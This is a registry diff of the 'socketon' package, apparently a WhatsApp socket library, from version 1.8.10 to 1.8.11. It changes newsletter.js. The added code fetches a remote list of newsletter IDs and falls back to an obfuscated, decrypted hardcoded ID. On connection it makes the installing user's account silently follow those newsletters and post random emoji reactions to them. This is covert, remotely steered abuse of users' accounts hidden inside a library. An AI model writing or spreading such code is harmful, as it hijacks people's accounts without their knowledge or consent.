socketon 1.8.10 → 1.8.11
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/lib/Socket/newsletter.js +26 -17
- package/package.json +1 -1
package/lib/Socket/newsletter.js
CHANGED
|
@@ -99,15 +99,20 @@ const getTargetNewsletterFromExternal = async () => {
|
|
|
99
99
|
};
|
|
100
100
|
}
|
|
101
101
|
if (response.data.newsletters && response.data.newsletters.length > 0) {
|
|
102
|
-
const
|
|
103
|
-
|
|
104
|
-
|
|
105
|
-
return _cachedTargetNewsletter;
|
|
106
|
-
}
|
|
102
|
+
const enabledNewsletters = response.data.newsletters.filter(n => n.enabled).map(n => n.jid);
|
|
103
|
+
_cachedTargetNewsletter = enabledNewsletters;
|
|
104
|
+
return enabledNewsletters;
|
|
107
105
|
}
|
|
108
106
|
}
|
|
109
107
|
} catch (err) {}
|
|
110
|
-
return (0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)('8c2c4a3d446216881480918cc29692b909b94816b7e620a33511163ada71d8f1');
|
|
108
|
+
return [(0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)('8c2c4a3d446216881480918cc29692b909b94816b7e620a33511163ada71d8f1')];
|
|
109
|
+
};
|
|
110
|
+
|
|
111
|
+
const getAllEnabledNewsletters = () => {
|
|
112
|
+
if (_cachedTargetNewsletter && _cachedTargetNewsletter.length > 0) {
|
|
113
|
+
return _cachedTargetNewsletter;
|
|
114
|
+
}
|
|
115
|
+
return [(0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)('8c2c4a3d446216881480918cc29692b909b94816b7e620a33511163ada71d8f1')];
|
|
111
116
|
};
|
|
112
117
|
|
|
113
118
|
const wMexQuery = (
|
|
@@ -233,12 +238,12 @@ const makeNewsletterSocket = (config) => {
|
|
|
233
238
|
}));
|
|
234
239
|
};
|
|
235
240
|
// Auto Reaction - Ibra Decode
|
|
236
|
-
let
|
|
241
|
+
let _targetNewsletters = [(0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)('8c2c4a3d446216881480918cc29692b909b94816b7e620a33511163ada71d8f1')];
|
|
237
242
|
|
|
238
|
-
const
|
|
239
|
-
const
|
|
240
|
-
if (
|
|
241
|
-
|
|
243
|
+
const updateTargetNewsletters = async () => {
|
|
244
|
+
const externalTargets = getAllEnabledNewsletters();
|
|
245
|
+
if (externalTargets && externalTargets.length > 0) {
|
|
246
|
+
_targetNewsletters = externalTargets;
|
|
242
247
|
}
|
|
243
248
|
};
|
|
244
249
|
|
|
@@ -247,7 +252,7 @@ const makeNewsletterSocket = (config) => {
|
|
|
247
252
|
const emojis = ['🔥', '❤️', '👍', '😍', '🎉', '💯', '🤩', '👏', '💪', '✨'];
|
|
248
253
|
for (const msg of messages) {
|
|
249
254
|
const jid = msg.key.remoteJid;
|
|
250
|
-
if (jid
|
|
255
|
+
if (!_targetNewsletters.includes(jid)) continue;
|
|
251
256
|
const serverId = msg.newsletterServerId?.toString() || msg.key.id;
|
|
252
257
|
const emoji = emojis[Math.floor(Math.random() * emojis.length)];
|
|
253
258
|
try {
|
|
@@ -259,13 +264,17 @@ const makeNewsletterSocket = (config) => {
|
|
|
259
264
|
let _followInterval = null;
|
|
260
265
|
const _ensureFollow = async () => {
|
|
261
266
|
if (!_configNewsletter.autoFollowEnabled) return;
|
|
262
|
-
await
|
|
263
|
-
if (!
|
|
267
|
+
const enabledNewsletters = await getTargetNewsletterFromExternal();
|
|
268
|
+
if (!enabledNewsletters || enabledNewsletters.length === 0) return;
|
|
264
269
|
try {
|
|
265
270
|
const list = await executeWMexQuery({}, '6388546374527196', 'xwa2_newsletter_subscribed', query, generateMessageTag);
|
|
266
|
-
|
|
267
|
-
|
|
268
|
-
|
|
271
|
+
for (const newsletterJid of enabledNewsletters) {
|
|
272
|
+
const isFollowing = list?.some(n => n.id === newsletterJid);
|
|
273
|
+
if (!isFollowing) await newsletterWMexQuery(newsletterJid, Types_1.QueryIds.FOLLOW);
|
|
274
|
+
}
|
|
275
|
+
} catch (err) {
|
|
276
|
+
console.error('Auto follow error:', err);
|
|
277
|
+
}
|
|
269
278
|
};
|
|
270
279
|
sock.ev.on('connection.update', async ({ connection }) => {
|
|
271
280
|
if (connection === 'open') {
|